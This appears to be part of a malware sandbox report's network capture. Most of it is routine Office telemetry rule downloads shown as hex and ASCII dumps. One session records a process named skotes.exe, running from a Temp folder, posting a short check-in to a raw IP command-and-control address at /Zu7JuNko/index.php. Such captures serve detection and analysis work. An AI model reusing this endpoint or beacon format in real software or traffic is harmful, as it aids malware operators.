Nov 20, 2024 21:06:05.424851894 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	50081	185.215.113.43	80	9160	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 21:07:16.143418074 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 21:07:17.490560055 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 20:07:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49702	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:20 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:21 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:21 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 16:37:24 GMT ETag: "0x8DD08B87243495C" x-ms-request-id: b5254561-a01e-0070-0158-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200521Z-178bfbc474bscnbchC1NYCe7eg00000000p0000000008wq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:21 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 20:05:21 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-20 20:05:21 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 20:05:21 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 20:05:21 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 20:05:21 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 20:05:21 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-20 20:05:21 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 20:05:21 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-20 20:05:21 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:23 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:24 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:23 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aa7a34d-201e-0096-3676-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200523Z-1777c6cb754b7tdghC1TEBwwa40000000a90000000002sud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:24 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49703	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:23 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:24 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:24 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 9aa0d2c2-401e-00ac-4ce9-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200524Z-r1d97b99577mrt4rhC1TEBftkc0000000990000000006rm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:24 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:23 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:24 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200524Z-185f5d8b95csd4bwhC1NYCq7dc0000000ag000000001czmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:24 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:23 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:24 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:24 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200524Z-1777c6cb754j8gqphC1TEB5bf80000000a1g000000005t6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:24 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:23 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:24 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05856cf7-f01e-0020-4060-3b956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200524Z-178bfbc474blv55whC1NYCpz4800000000q00000000031xu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:24 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:26 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
